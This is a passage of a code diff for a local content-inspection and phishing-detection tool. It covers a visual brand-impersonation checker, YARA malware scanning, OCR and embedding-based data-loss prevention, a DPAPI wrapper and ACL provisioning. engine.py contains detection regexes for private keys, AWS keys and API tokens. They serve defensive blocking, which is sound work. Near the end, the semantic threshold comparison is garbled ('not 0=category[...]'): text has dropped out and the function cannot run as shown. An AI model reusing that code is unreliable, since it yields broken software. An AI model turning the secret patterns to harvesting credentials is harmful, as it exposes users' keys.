result(initial,'unknown','stale-context'); + await audit({kind:'phishing.block',ruleId:ruleId||'visual-inspection-failed',host:pageURL.hostname}); + if(!current(initial))return result(initial,'unknown','stale-context'); + const decision=result(initial,'block',reason,ruleId||'visual-inspection-failed');await block(decision,initial); + return decision; + }; + let description; + try{description=await describe(initial.url,initial);if(!current(initial))return result(initial,'unknown','stale-context');if(typeof description?.hasCredentialInputs!=='boolean'||typeof description.visibleText!=='string'||description.visibleText.length>8000)throw Error();} + catch{if(!current(initial))return result(initial,'unknown','stale-context');return settings.failClosed?blocked('visual-description-unavailable'):result(initial,'unknown','description-unavailable');} + if(!description.hasCredentialInputs)return result(initial,'allow','no-credential-inputs'); + const text=normalize(description.visibleText),captures=new Map(),features=new Map();let comparable=0,unknown=false; + try{ + for(const brand of settings.brands){ + // Exemption applies only to this brand; other protected brands remain checked. + if(pageURL.protocol==='https:'&&brand.allowedOrigins.includes(pageURL.origin))continue; + if(!brand.requiredText.every(phrase=>text.includes(normalize(phrase))))continue; + for(const reference of brand.references){ + if(reference.scope==='login-form'&&!description.formRect){unknown=true;continue;} + const key=reference.scope;let image; + if(captures.has(key))image=captures.get(key);else{image=await capture(reference.scope,description,reference);if(!current(initial))return result(initial,'unknown','stale-context');captures.set(key,image);} + if(reference.viewport){ + if(!Number.isFinite(image.width)||!Number.isFinite(image.height)||image.width<=0||image.height<=0)throw Error('Capture dimensions unavailable'); + const expected=reference.viewport; + if(reference.scope==='viewport'?(image.width!==expected.width||image.height!==expected.height):Math.abs((image.width/image.height)/(expected.width/expected.height)-1)>.1){unknown=true;continue;} + } + const featureKey=`${reference.scope}:${reference.algorithm}`;let feature; + if(features.has(featureKey))feature=features.get(featureKey); + else{feature=await fingerprint(image,reference.algorithm);if(!current(initial))return result(initial,'unknown','stale-context');features.set(featureKey,feature);} + const hash=typeof feature==='string'?feature:feature?.hash; + if(feature?.usable===false||!/^[a-f0-9]{16}$/.test(hash||'')){unknown=true;continue;} + const distance=await compare(hash,reference.hash);if(!current(initial))return result(initial,'unknown','stale-context'); + if(!Number.isInteger(distance)||distance<0||distance>64)throw Error('Comparison unavailable'); + comparable++; + if(distance<=brand.maxDistance)return blocked('credential-brand-impersonation',brand.id); + } + } + }catch{if(!current(initial))return result(initial,'unknown','stale-context');return settings.failClosed?blocked('credential-visual-inspection-failed'):result(initial,'unknown','visual-inspection-failed');} + if(unknown)return result(initial,'unknown','reference-not-comparable'); + return result(initial,'allow',comparable?'no-protected-brand-match':'no-applicable-brand-reference'); + } + function check({force=false}={}){ + if(pending&&!force)return pending; + const prior=pending;const operation=(prior?prior.catch(()=>{}):Promise.resolve()).then(run); + pending=operation;operation.finally(()=>{if(pending===operation)pending=null;}).catch(()=>{});return operation; + } + return {check,reset:()=>{generation++;}}; +} +module.exports={createVisualPhishing,describeScript}; diff --git a/apps/inspector/CAPABILITIES.md b/apps/inspector/CAPABILITIES.md new file mode 100644 index 0000000..e388a18 --- /dev/null +++ b/apps/inspector/CAPABILITIES.md @@ -0,0 +1,31 @@ +# Local inspector capabilities + +All inspection is local. No scan downloads models or calls cloud inference. + +- YARA: genuine pinned yara-python 4.5.4 in private Windows CPython 3.13 runtime. Centrally supplied sources have bounded size and count, includes disabled, imported modules disallowed, compile warnings treated as errors, and five-second match timeout. Rules compile from in-memory strings and scan bytes. Errors, unavailable engine, missing rules and oversize payloads block downloads. Compilation currently runs inside the inspector process; a native compiler hang is bounded by the browser's inspector request deadline but does not restart the inspector automatically. +- Text: UTF-8 extraction and deterministic secret/literal/fingerprint classification. +- PDF/OOXML: bounded extraction of text and embedded images; full rendered visual coverage is incomplete and outbound DLP fails closed. +- Images: bundled RapidOCR 3.8.1 with CPU ONNXRuntime 1.24.4 and packaged PP-OCRv4 detection/recognition plus v2 classification weights. Explicit verified local model paths bypass all model downloads. Real Windows test renders a secret into an image and blocks it with network model downloading forbidden. Models primarily support Chinese/English; other languages and recognition accuracy require validation. OCR completion indicates all frames processed, not guaranteed recognition accuracy. Pillow parsing has dimension/frame limits. Optional `SAFETYNET_OCR_ENGINE=tesseract` uses administrator-installed trusted `TESSERACT_PATH`, optionally `TESSDATA_PREFIX` for local traineddata. Tesseract weights are not bundled. Missing OCR blocks DLP. +- Audio/video: recognition of container types only. Transcription and full video inspection are unconfigured; DLP blocks rather than claiming safe coverage. +- Semantic adapter: real Google EmbeddingGemma 2, Q8_0 GGUF export revision `bfcd298762cc34d0357ece5ebdd31791a3a374d8`, 768 dimensions. A verified native worker runs explicitly on CPU, reads bounded local NDJSON, and returns actual normalized vectors. Both GGUF weights and native runtime modules must pass size/SHA-256 checks before loading. Configure `EMBEDDING_MODEL_DIR` and `EMBEDDING_WORKER_PATH` to staged, protected local resources. No cloud inference, model download or Python ML framework is used. Text uses the same pinned `document-v1` profile for training and inspection; native token windows must cover exact UTF-8 bytes through the final byte, otherwise scanning fails closed. At most 64 vectors are allowed; incomplete or oversized training is refused. Native image embeddings process all bounded frames resized to at most672px with48px alignment. Native audio supports only mono16kHz PCM16 WAV up to30seconds; other media remains uninspectable. Actual model fixtures must run separately from protocol unit tests to establish operational readiness. +- Reference registration: SHA-256 plus normalized eight-word shingle and paragraph hashes, coverage and registrationReady. Every shingle offset is inspected; paragraph normalization uses NFKC, lowercase, sharp-s to ss, final sigma to sigma and collapsed whitespace, shared with JavaScript policy enforcement. Up to 1000 hashes return per registration. Published `fragment-sha256` rules use this same canonicalization and detect excerpts after reformatting. No extracted plaintext returned or logged. Hashes remain sensitive reference metadata and require access control. The whole-file fingerprint is useful even for incomplete extraction, but registrationReady requires complete coverage. + +`POST /scan-download` accepts `{data:base64,policy}` and returns malware-only `{decision,ruleId,engine,sha256,bytes,matchedRules,coverage}`. A YARA allow is not a DLP allow. `/inspect` applies enabled YARA first and then DLP. `/reference-document` accepts `{data:base64}` and returns registration features. + +Dependencies and packaged model distributions are pinned with official PyPI wheel SHA-256 hashes and installed with `--require-hashes`. OCR model license review and a complete third-party software notice are still required before distribution. The Windows broker uses a Job Object limiting its process tree to four processes and 4 GiB, denying breakaway and killing descendants when the owner exits. Document parsing, YARA, OCR and inference now execute in a separate AppContainer per request. The worker verifies its actual AppContainer token and zero capabilities before importing parsers. Documents cross bounded anonymous pipes; source/runtime/model files receive package-SID read/execute access, never writable grants. Network and private-file probes, native child inheritance, deadlines, 16 MiB pipe integrity and orphan termination are exercised in `test_windows_appcontainer.py` and `artifacts/windows-appcontainer-proof.json`. + +The AppContainer can use its Windows-provided private package storage and system resources that Windows exposes to application packages. This is not a promise that no filesystem writes anywhere are possible. Runtime roots and their ancestors reject reparse points; external Python/parser/model overrides are rejected rather than granting access to other projects. An explicit installer/deployment-owner command provisions specific-SID ACLs; normal startup reads native DACLs without changing them. Missing or writable grants fail closed. Packaging provisions the completed copied resources. Protected Program Files operation under a separate standard user remains untested. No capability or loopback exemption is added. Broker startup allows 30 seconds for cold ACL verification; each parser request retains a 29-second worker deadline and 30-second browser request budget. Broker/worker/verifier bytecode writes are disabled so cold startup does not add unapproved files. Independent exploit/bypass assessment remains required. + +The isolated worker uses the bundled RapidOCR path. External Tesseract executables and their deployment environment are not forwarded into this boundary; a future separately validated sandbox configuration is required to support them. + +Training retains only returned fingerprints, fragment hashes and coverage metadata. The inspector does not retain source documents or extracted plaintext, and its HTTP handlers clear transient request references after processing. Python immutable byte/string allocations and native parser/OCR buffers cannot guarantee forensic memory erasure; OS paging and crash dumps need endpoint controls. Text and bundled RapidOCR image training use memory only. Optional Tesseract writes temporary decoded image frames and removes them on normal completion; secure deletion is not guaranteed, so use the default RapidOCR mode for memory-only training. + +Registration reports `extractionComplete` separately from `featuresComplete`, total/retained fragment counts and `fragmentHashesTruncated`. More than 1000 fragment hashes marks coverage incomplete and registrationReady false; a reduced document or separately approved whole-file fingerprint can then be used. A truncated feature set is never presented as complete protection. + +Sources: https://yara.readthedocs.io/en/stable/yarapython.html https://pypi.org/project/yara-python/4.5.4/ https://github.com/RapidAI/RapidOCR https://pypi.org/project/rapidocr/3.8.1/ + +Google model sources: https://ai.google.dev/gemma/docs/embeddinggemma/model_card_2 https://ai.google.dev/gemma/docs/embeddinggemma/multimodal-embeddinggemma-with-sentence-transformers and https://huggingface.co/ggml-org/embeddinggemma-2-GGUF . Multimodal vectors support classification signals; unsupported parsing or incomplete extraction never becomes a DLP allow solely because a vector exists. Model similarity is probabilistic and requires customer-specific thresholds and false-negative testing. Native worker errors/timeouts are sanitized and kill the worker; startup readiness must attest CPU and no Vulkan module. Source strings and native memory are transient but cannot be securely erased by this Python adapter. + +Actual Windows CPU validation on 2026-10-12: four real-weight fixtures passed in 25.774 seconds, covering native image embeddings, native mono 16 kHz audio embeddings, multi-window document tail coverage, and a semantic-only policy that blocks a protected paraphrase while allowing unrelated public text. All emitted vectors have 768 finite normalized values. A separate three-document check measured protected-paraphrase cosine 0.861730 versus unrelated-text 0.606880; these are synthetic fixture measurements, not a general accuracy claim. The worker handshake pins the exact hardened build `b11461-no-logits-v1`; policy/runtime manifest field `b11461` identifies its upstream runtime release. Other suffixes are refused, CPU must be attested, and loaded Vulkan is refused. + +Repeat actual fixtures with staged resources using `SAFETYNET_TEST_NATIVE_SEMANTIC=1`, `EMBEDDING_MODEL_DIR`, and `EMBEDDING_WORKER_PATH`, then run the bundled Python `-m unittest discover -s apps/inspector -p test_semantic_real.py -v`. Routine protocol tests do not substitute for these opt-in real-model checks. diff --git a/apps/inspector/dpapi.py b/apps/inspector/dpapi.py new file mode 100644 index 0000000..6b8da39 --- /dev/null +++ b/apps/inspector/dpapi.py @@ -0,0 +1,33 @@ +"""Current-user Windows capability protection; no browser profile crypto state.""" +import base64 +import ctypes +import sys + +class Blob(ctypes.Structure): + _fields_=[('size',ctypes.c_uint32),('data',ctypes.POINTER(ctypes.c_ubyte))] + +def convert(data,protect): + crypt=ctypes.WinDLL('crypt32',use_last_error=True) + kernel=ctypes.WinDLL('kernel32',use_last_error=True) + allocation=(ctypes.c_ubyte*len(data)).from_buffer_copy(data) + source=Blob(len(data),allocation);result=Blob() + function=crypt.CryptProtectData if protect else crypt.CryptUnprotectData + function.argtypes=[ctypes.POINTER(Blob),ctypes.c_void_p,ctypes.c_void_p,ctypes.c_void_p,ctypes.c_void_p,ctypes.c_uint32,ctypes.POINTER(Blob)] + function.restype=ctypes.c_int + # UI_FORBIDDEN; omit LOCAL_MACHINE so only the signed-in Windows user can decrypt. + if not function(ctypes.byref(source),None,None,None,None,1,ctypes.byref(result)): + raise ValueError('DPAPI rejected capability') + kernel.LocalFree.argtypes=[ctypes.c_void_p];kernel.LocalFree.restype=ctypes.c_void_p + try:return ctypes.string_at(result.data,result.size) + finally:kernel.LocalFree(result.data) + +if __name__=='__main__': + try: + if sys.platform!='win32' or len(sys.argv)!=2 or sys.argv[1] not in ['protect','unprotect']: raise ValueError() + data=sys.stdin.buffer.read(32769) + if not data or len(data)>32768:raise ValueError() + if sys.argv[1]=='protect':output=base64.b64encode(convert(data,True)) + else:output=convert(base64.b64decode(data,validate=True),False) + sys.stdout.buffer.write(output) + except Exception: + sys.stderr.write('Windows capability protection failed.\n');sys.exit(1) diff --git a/apps/inspector/engine.py b/apps/inspector/engine.py new file mode 100644 index 0000000..cf250b6 --- /dev/null +++ b/apps/inspector/engine.py @@ -0,0 +1,340 @@ +"""Private content inspection. No external inference, raw-content logs or remote URLs.""" +import base64 +import hashlib +import io +import math +import os +import re +import shutil +import subprocess +import tempfile +import unicodedata +import zipfile +from pathlib import Path + +os.environ['HF_HUB_OFFLINE']='1' +os.environ['TRANSFORMERS_OFFLINE']='1' +os.environ['HF_HUB_DISABLE_TELEMETRY']='1' + +MAX_BYTES = 20 * 1024 * 1024 +MAX_TEXT = 1_000_000 +_MODEL = None +_OCR = None + + +def local_ocr(): + global _OCR + if _OCR is None: + import onnxruntime + onnxruntime.disable_telemetry_events() + import rapidocr + from rapidocr import RapidOCR + directory=Path(rapidocr.__file__).parent/"models" + names={"Det":"ch_PP-OCRv4_det_infer.onnx","Rec":"ch_PP-OCRv4_rec_infer.onnx","Cls":"ch_ppocr_mobile_v2.0_cls_infer.onnx"} + checksums={"Det":"d2a7720d45a54257208b1e13e36a8479894cb74155a5efe29462512d42f49da9", + "Rec":"48fc40f24f6d2a207a2b1091d3437eb3cc3eb6b676dc3ef9c37384005483683b", + "Cls":"e47acedf663230f8863ff1ab0e64dd2d82b838fceb5957146dab185a89d6215c"} + params={"Global.log_level":"critical","EngineConfig.onnxruntime.intra_op_num_threads":2, + "EngineConfig.onnxruntime.inter_op_num_threads":1} + for task,name in names.items(): + model=directory/name + if not model.is_file(): raise ValueError("Bundled offline OCR model unavailable") + if hashlib.sha256(model.read_bytes()).hexdigest()!=checksums[task]: raise ValueError("Offline OCR model checksum mismatch") + params[task+".model_path"]=str(model) + # Explicit paths bypass RapidOCR's download path entirely. + _OCR=RapidOCR(params=params) + return _OCR + + +def scan_download(data, policy): + """Malware gate only: never implies document/DLP coverage.""" + result={"decision":"block","ruleId":"yara-unavailable","engine":"yara", + "sha256":hashlib.sha256(data).hexdigest(),"bytes":len(data), + "matchedRules":[],"coverage":{"complete":False}} + try: + config=policy.get("security",{}).get("yara",{}) + if config.get("enabled") is not True: + result["ruleId"]="yara-required";return result + maximum=config.get("maxScanBytes",MAX_BYTES) + if not isinstance(maximum,int) or maximum<=0 or len(data)>min(maximum,MAX_BYTES): + result["ruleId"]="yara-size-limit";return result + entries=config.get("rules",[]) + if not isinstance(entries,list) or not 1<=len(entries)<=128: raise ValueError() + sources={};ids={};total=0 + for index,entry in enumerate(entries): + source=entry["source"];identifier=entry["id"] + if not isinstance(source,str) or not isinstance(identifier,str) or not identifier: raise ValueError() + total+=len(source.encode("utf-8")) + if total>262144: raise ValueError() + # No imported modules: console can leak scanned content; others expand attack surface. + if re.search(r'\bimport\s+"',source): raise ValueError() + namespace="policy_"+str(index);sources[namespace]=source;ids[namespace]=identifier + import yara + rules=yara.compile(sources=sources,includes=False,error_on_warning=True) + matches=rules.match(data=data,timeout=5) + result["coverage"]["complete"]=True + result["matchedRules"]=[{"id":ids[item.namespace],"rule":item.rule} for item in matches] + if matches: result["ruleId"]=ids[matches[0].namespace] + else: result["decision"]="allow";result["ruleId"]=None + except ImportError: pass + except Exception: result["ruleId"]="yara-inspection-failed" + return result + + +def reference_document(data): + """Return privacy-preserving registration features, without extracted plaintext.""" + result={"sha256":hashlib.sha256(data).hexdigest(),"bytes":len(data), + "contentType":content_kind(data),"fragmentHashes":[],"coverage":{"complete":False}} + text="";media=[];hashes=set() + try: + if len(data)>MAX_BYTES: raise ValueError() + text,complete,media=extract(data,result["contentType"]) + if len(text)>MAX_TEXT: raise ValueError() + hashes=fragment_hashes(text) + result["fragmentHashes"]=sorted(hashes)[:1000] + truncated=len(hashes)>1000 + result["coverage"]={"complete":complete and not truncated,"extractionComplete":complete, + "featuresComplete":not truncated,"fragmentHashesTruncated":truncated, + "fragmentHashesTotal":len(hashes),"fragmentHashesRetained":len(result["fragmentHashes"]), + "textCharacters":len(text),"mediaItems":len(media)} + result["registrationReady"]=bool(complete and not truncated and (hashes or text.strip())) + except Exception: result["registrationReady"]=False + finally: + # Release transient content references; immutable Python strings cannot be securely wiped. + text="";media.clear();hashes.clear();data=None + return result + + +def fragment_hashes(text): + normalized=unicodedata.normalize("NFKC",text).lower().replace("ß","ss").replace("ς","σ") + words=re.findall(r"\w+",normalized) + # Every shingle matches excerpts even when their starting offset changes. + hashes={hashlib.sha256(" ".join(words[index:index+8]).encode()).hexdigest() + for index in range(max(0,len(words)-7))} + for paragraph in re.split(r"\n\s*\n",normalized): + paragraph=" ".join(paragraph.split()) + if len(paragraph)>=32: hashes.add(hashlib.sha256(paragraph.encode()).hexdigest()) + return hashes + + +def cosine(left, right): + if len(left) != len(right) or not left: + raise ValueError("Embedding dimensions do not match") + if not all(math.isfinite(float(v)) for v in [*left, *right]): + raise ValueError("Invalid embedding") + denominator = math.sqrt(sum(v*v for v in left)) * math.sqrt(sum(v*v for v in right)) + if not denominator: + raise ValueError("Empty embedding") + return sum(a*b for a, b in zip(left, right)) / denominator + + +def content_kind(data): + if data.startswith(b"%PDF-"): return "pdf" + if data.startswith(b"PK\x03\x04"): return "office" + if data.startswith(b"\x89PNG\r\n\x1a\n") or data.startswith(b"\xff\xd8\xff") or data.startswith((b"GIF87a", b"GIF89a")): return "image" + if data.startswith(b"RIFF"): + return {b"WAVE": "audio", b"WEBP": "image", b"AVI ": "video"}.get(data[8:12], "unknown") + if data.startswith((b"ID3", b"fLaC", b"OggS")): return "audio" + if len(data)>12 and data[4:8] == b"ftyp": return "video" + try: + text=data.decode("utf-8", errors="strict") + if "\x00" in text: return "unknown" + return "text" + except UnicodeError: return "unknown" + + +def ocr_image(data): + from PIL import Image, ImageSequence + image=Image.open(io.BytesIO(data)) + frames=getattr(image,"n_frames",1) + if image.width*image.height>20_000_000 or frames>32 or image.width*image.height*frames>50_000_000: + raise ValueError("Image processing budget exceeded") + if os.environ.get("SAFETYNET_OCR_ENGINE","rapidocr")=="rapidocr": + import numpy as np + engine=local_ocr();parts=[] + for frame in ImageSequence.Iterator(image): + output=engine(np.asarray(frame.convert("RGB"))) + parts.extend(output.txts or []) + return "\n".join(parts),True + configured=os.environ.get("TESSERACT_PATH", "") + executable=configured if configured and Path(configured).is_file() else shutil.which("tesseract") + if not executable: return "", False + parts=[] + with tempfile.TemporaryDirectory(prefix="safetynet-ocr-") as temp: + for index, frame in enumerate(ImageSequence.Iterator(image)): + file=Path(temp)/f"frame-{index}.png" + frame.convert("RGB").save(file) + result=subprocess.run([executable,str(file),"stdout","--psm","3"],capture_output=True,timeout=20,check=True) + parts.append(result.stdout.decode("utf-8")) + return "\n".join(parts), True + + +def extract(data, kind): + if kind=="text": return data.decode("utf-8"), True, [] + if kind=="image": + text,complete=ocr_image(data) + return text,complete,[("image",data)] + if kind=="pdf": + from pypdf import PdfReader + reader=PdfReader(io.BytesIO(data),strict=True) + if reader.is_encrypted: raise ValueError("Encrypted PDF cannot be inspected") + if len(reader.pages)>100: raise ValueError("PDF page budget exceeded") + text=[];complete=True;media=[] + for page in reader.pages: + value=page.extract_text() or "" + text.append(value) + images=list(page.images) + if not value.strip() and not images: complete=False + for image in images: + if len(image.data)>MAX_BYTES: raise ValueError("PDF image budget exceeded") + scanned,ok=ocr_image(image.data);text.append(scanned);complete=complete and ok + media.append(("image",image.data)) + if len(media)>100: raise ValueError("PDF media budget exceeded") + # Attachments, JavaScript, forms, actions and vector drawings need deeper inspection. + if page.get("/Annots"): complete=False + root=reader.trailer["/Root"] + if root.get("/AcroForm") or root.get("/OpenAction") or root.get("/Names"): complete=False + # Text extraction is useful, but does not prove all visible/vector PDF content was covered. + return "\n".join(text),False,media + if kind=="office": + from defusedxml.ElementTree import fromstring + text=[];media=[];complete=True + with zipfile.ZipFile(io.BytesIO(data)) as archive: + members=archive.infolist() + if len(members)>2000 or sum(x.file_size for x in members)>MAX_BYTES: + raise ValueError("Archive expansion budget exceeded") + if not any(x.filename in ["word/document.xml","ppt/presentation.xml","xl/workbook.xml"] for x in members): + raise ValueError("Only OOXML document archives are supported") + for entry in members: + if entry.flag_bits&1 or entry.file_size>MAX_BYTES or entry.file_size>max(entry.compress_size,1)*200: + raise ValueError("Unsafe document archive") + name=entry.filename + if any(s in name.lower() for s in ["vbaproject","embeddings/","activex/","customxml/"]): complete=False + if name.endswith(".xml"): + root=fromstring(archive.read(entry)) + text.extend(element.text for element in root.iter() if element.tag.rsplit("}",1)[-1] in ["t","v"] and element.text) + elif "/media/" in name: + payload=archive.read(entry) + if content_kind(payload)!="image": complete=False; continue + scanned,ok=ocr_image(payload);text.append(scanned);complete=complete and ok;media.append(("image",payload)) + if len(media)>100: raise ValueError("Office media budget exceeded") + # Charts, relationships, equations and rendered layout are not yet fully inspected. + return "\n".join(text),False,media + if kind in ["audio","video"]: return "",False,[(kind,data)] + raise ValueError("Unsupported content type") + + +def get_model(): + global _MODEL + directory=os.environ.get("EMBEDDING_MODEL_DIR", "") + worker=os.environ.get("EMBEDDING_WORKER_PATH", "") + if not directory or not Path(directory).is_dir() or not worker: raise ValueError("Verified local EmbeddingGemma 2 runtime is not configured") + if _MODEL is None: + from semantic import NativeSemanticModel + _MODEL=NativeSemanticModel(directory,worker) + return _MODEL + + +def embed(data, kind): + model=get_model() + if kind=="text": vectors=model.text_vectors(data.decode("utf-8")) + elif kind=="image": vectors=model.image_vectors(data) + elif kind=="audio": vectors=model.audio_vectors(data) + else: raise ValueError("Native semantic modality is not configured") + return aggregate_vectors(vectors) + + +def aggregate_vectors(vectors): + from semantic import validate_vectors,DIMENSIONS + validate_vectors(vectors) + vector=[sum(item[index] for item in vectors)/len(vectors) for index in range(DIMENSIONS)] + norm=math.sqrt(sum(value*value for value in vector)) + if norm<1e-12: raise ValueError("Degenerate semantic aggregate") + return [value/norm for value in vector] + + +def semantic_vector_features(text,media): + model=get_model();vectors=model.text_vectors(text) if text.strip() else [] + text_chunks=len(vectors) + for kind,payload in media: + if kind=="image": vectors.extend(model.image_vectors(payload)) + elif kind=="audio": vectors.extend(model.audio_vectors(payload)) + else: raise ValueError("Native semantic modality is not configured") + if len(vectors)>64: raise ValueError("Semantic vector budget exceeded") + if not vectors: raise ValueError("No semantic inputs") + return vectors,text_chunks + + +def semantic_vectors(text,media): + return semantic_vector_features(text,media)[0] + + +def embedding_features(data): + kind=content_kind(data) + if len(data)>MAX_BYTES: raise ValueError("Embedding input budget exceeded") + text,complete,media=extract(data,kind) + if len(text)>MAX_TEXT: raise ValueError("Extracted text budget exceeded") + vectors,text_chunks=semantic_vector_features(text,media) + return {**get_model().info(),"vector":aggregate_vectors(vectors),"vectors":vectors, + "coverage":{"complete":complete,"extractionComplete":complete,"textChunks":text_chunks,"mediaItems":len(media)}} + + +def deterministic(text, data, policy): + digest=hashlib.sha256(data).hexdigest() + normalized=unicodedata.normalize("NFKC",text).casefold() + patterns=[("private-key",r"-----BEGIN (?:RSA |EC |OPENSSH |DSA )?PRIVATE KEY-----"), + ("aws-access-key",r"\b(?:AKIA|ASIA)[A-Z0-9]{16}\b"), + ("api-secret",r"\b(?:sk-[A-Za-z0-9_-]{20,}|gh[pousr]_[A-Za-z0-9]{20,})\b")] + for rule,pattern in patterns: + if re.search(pattern,text): return rule + fragments=None + for rule in policy["dlp"]["rules"]: + if rule["kind"]=="sha256" and rule["value"].lower()==digest: return rule["id"] + if rule["kind"]=="literal" and unicodedata.normalize("NFKC",rule["value"]).casefold() in normalized: return rule["id"] + if rule["kind"]=="fragment-sha256" and text: + if fragments is None: fragments=fragment_hashes(text) + if rule["value"].lower() in fragments: return rule["id"] + return None + + +def inspect_content(data, policy, encoder=embed): + kind=content_kind(data) + result={"decision":"block","ruleId":"uninspectable","contentType":kind,"coverage":{"complete":False},"model":None} + if len(data)>min(MAX_BYTES,policy["dlp"]["maxBytes"]): result["ruleId"]="size-limit";return result + if policy.get("security",{}).get("yara",{}).get("enabled"): + malware=scan_download(data,policy) + if malware["decision"]!="allow": return {**result,"ruleId":malware["ruleId"],"malware":malware} + # Fingerprints can block any bytes before invoking parsers. + rule=deterministic("",data,policy) + if rule: result["ruleId"]=rule;return result + try: + text,complete,media=extract(data,kind) + if len(text)>MAX_TEXT: raise ValueError("Extracted text budget exceeded") + result["coverage"]={"complete":complete,"textCharacters":len(text),"mediaItems":len(media)} + rule=deterministic(text,data,policy) + if rule: result["ruleId"]=rule;return result + semantic=policy["dlp"].get("semantic",{}) + if semantic.get("enabled"): + if encoder is embed: + info=get_model().info() + if any(semantic.get(key)!=info[key] for key in ["model","revision","profile","dimensions","artifactFormat","quantization","runtimeRevision"]): raise ValueError("Pinned model profile unavailable") + elif semantic.get("model")!="google/embeddinggemma-2" or semantic.get("revision")!=os.environ.get("EMBEDDING_MODEL_REVISION"): raise ValueError("Pinned test model revision unavailable") + if not semantic.get("categories"): raise ValueError("Semantic policy has no reference categories") + result["model"]=semantic["model"];result["similarity"]=[] + if encoder is embed: vectors=semantic_vectors(text,media) + else: + inputs=[("text",text[i:i+4000].encode()) for i in range(0,len(text),3500)]+media + if not inputs or len(inputs)>64: raise ValueError("Inference budget exceeded") + vectors=[encoder(payload,modality) for modality,payload in inputs] + if sum(len(category.get("prototypes") or [category["prototype"]]) for category in semantic["categories"])>256: raise ValueError("Semantic reference budget exceeded") + for category in semantic["categories"]: + prototypes=category.get("prototypes") or [category["prototype"]] + if not isinstance(category.get("threshold"),(int,float)) or not math.isfinite(category["threshold"]) or not 0=category["threshold"]: result["ruleId"]=category["id"];return result + if complete: result["decision"]="allow";result["ruleId"]=None + return result + except Exception: + # Parser/model errors never release content and never serialize raw exception text. + result["ruleId"]="inspection-incomplete";return result diff --git a/apps/inspector/provision_runtime_acl.py b/apps/inspector/provision_runtime_acl.py new file mode 100644 index 0000000..db3faf9 --- /dev/null +++ b/apps/inspector/provision_runtime_acl.py @@ -0,0 +1,37 @@ +"""Installer-only ACL provisioning for this exact SafetyNet installation. + +Run with the installed private Python. No caller-controlled grant roots exist. +Normal service startup verifies ACLs without changing them. +""" +import argparse +import json +from pathlib import Path +import sys + +sys.path.insert(0, str(Path(__file__).resolve().parent)) +sys.dont_write_bytecode=True +from windows_appcontainer import AppContainer, SandboxError + + +def main(): + parser = argparse.ArgumentParser(description=__doc__) + parser.add_argument('--provision', action='store_true', help='Installer/owner only: establish read/execute ACLs') + args = parser.parse_args() + source = Path(__file__).absolute().parent + development = source.parent.name == 'apps' + installation = source.parent.parent if development else source.parent + runtime = installation / ('.runtime/windows/python' if development else 'python') + semantic = installation / ('.runtime/windows/semantic' if development else 'semantic') + if Path(sys.executable).resolve().parent != runtime.resolve(): + raise SandboxError('Use the private Python belonging to this installation') + roots = [source, runtime] + if semantic.is_dir(): roots.append(semantic) + sandbox = AppContainer(roots, provision=args.provision) + print(json.dumps({'verified': True, 'provisioned': args.provision, 'rootCount': len(roots), 'profile': sandbox.name})) + + +if __name__ == '__main__': + try: main() + except (SandboxError, OSError): + print('Approved installation ACL verification/provisioning failed.', file=sys.stderr) + raise SystemExit(1) diff --git a/apps/inspector/requirements-model.txt b/apps/inspector/requirements-model.txt new file mode 100644 index 0000000..b04e793 --- /dev/null +++ b/apps/inspector/requirements-model.txt @@ -0,0 +1,3 @@ +# Native offline EmbeddingGemma 2 inference uses the verified GGUF worker. +# No sentence-transformers, PyTorch or model-download client is needed at runtime. +-r requirements.txt diff --git a/apps/inspector/requirements.lock.txt b/apps/inspector/requirements.lock.txt new file mode 100644 index 0000000..a1298b7 --- /dev/null +++ b/apps/inspector/requirements.lock.txt @@ -0,0 +1,26 @@ +certifi==2026.7.22 --hash=sha256:62f22742b58a1a33014a2b6b706588a8d7e2a88ae7bd1a6ebe8c992928483775 +charset-normalizer==3.5.2 --hash=sha256:195c26fb65950f8fce54e26349852b7bdd7c5f120aeefbcc440b8a20faaed4a3 --hash=sha256:9373ad13ef0d2c0fb761e04e55bfdee5a08b52cef2c882c8fbe9935b1517152e --hash=sha256:ddf19c062bea7a0cc80f519243d2c01dd091be0cf952a0750d4ad576709559f5 --hash=sha256:3d14b50de6bf4d0edf857a9386836846f982b8f524e188e2e68b96d702bcf4aa --hash=sha256:28a15fdad492a99b6eccfaaed66ef3f74050680545ea61ec8b2f4c538f1f1320 --hash=sha256:8a893cc101149f80a653f82062ebc95b34525a2614382e1da5458fe7c6997249 --hash=sha256:619799369eeef6366ed3e8755a5670f4f2f0fb6b30a0fd7264dc0fdc2357058e --hash=sha256:447441e76ec720b15e64418d32e092297340387053047c7c694f579efb0ee1d9 --hash=sha256:62588a277bfb59def052abd940703fa35107152bf479781a878617d60faf8fb5 --hash=sha256:44bd4fbb29dfbeba60e7d2bd000c59e4b21ddb3cc53912b14048d37092706d7c --hash=sha256:30fcd120b732aa79317f08dee04d7de0847822e4cf7ee0e9f445bb958832252c --hash=sha256:50e3adfb96fc189eb27b1cf62d3b598b89b4bb0420d93a3d3e42e137409011be --hash=sha256:b736353c0a625bbd5fcec108576e2385db3496f4f771f785ff32e108d3c3bc45 --hash=sha256:f5833ad231be5eb6553de524a70f48d71b2c8563101750531e0b80184e175cd4 --hash=sha256:1461ac396c4fdb983a675f20aa555624f0ee18ac83d832b9244ffff3d8055275 --hash=sha256:c6708715abcf3c73b99508253e961a9967f02fe536532834149574eda6de0d1c --hash=sha256:3d21b8b13c7592db2ac5e544a6d83187b995257472b0c9e8351b6d507ae37ed6 --hash=sha256:d760fe2a4d7c3b226cb9026d6a842868d52a7901bd98420e1baf14e80da85cf5 --hash=sha256:c9790464842f85f437dbbb54417eda1e0e6bfc52dd8d22d6fd1c994b73b2dc74 --hash=sha256:4685902cf26edf013ed7a3da0f426ebba7a00ebb9541386d835afbf002c11cab --hash=sha256:4495c5002a7b28557e7e222e77e0b661183e432b7d6d2e788101e3f240e05b8c --hash=sha256:211d5a3eb6af8f513b8d4ca19a8c1b7accab1b5f0d3175f9826b03c1a920dc1f --hash=sha256:ef4fcbf3327382cd4c9f540babd61248208af7b93eec4de397b4d5f58a09e288 --hash=sha256:bd16aabe4a02a297c23417aa17ac6299dbd8c49f673bcd645b4929b11f5a4400 --hash=sha256:fb9e68df06293761f9fe66ade60a9bc6d0f5e42b8acf2939a9158af86ab0e5bd --hash=sha256:59f63901b0031c3136cf64704dcb21de0bbae62ce2c9529bc39d27665463de37 --hash=sha256:304d5463e65a35d7bb0850550e0780395395f6fcf452f04db7d5ca7cecc425ac --hash=sha256:9cf9b1a857e25c4baceeb3624e92a56df3668f398c4acba74e174d81fb4d1d3a --hash=sha256:114e4d0c92d618409ed82a99e22b5c5e768fe995f2973f78265f4524f49d4640 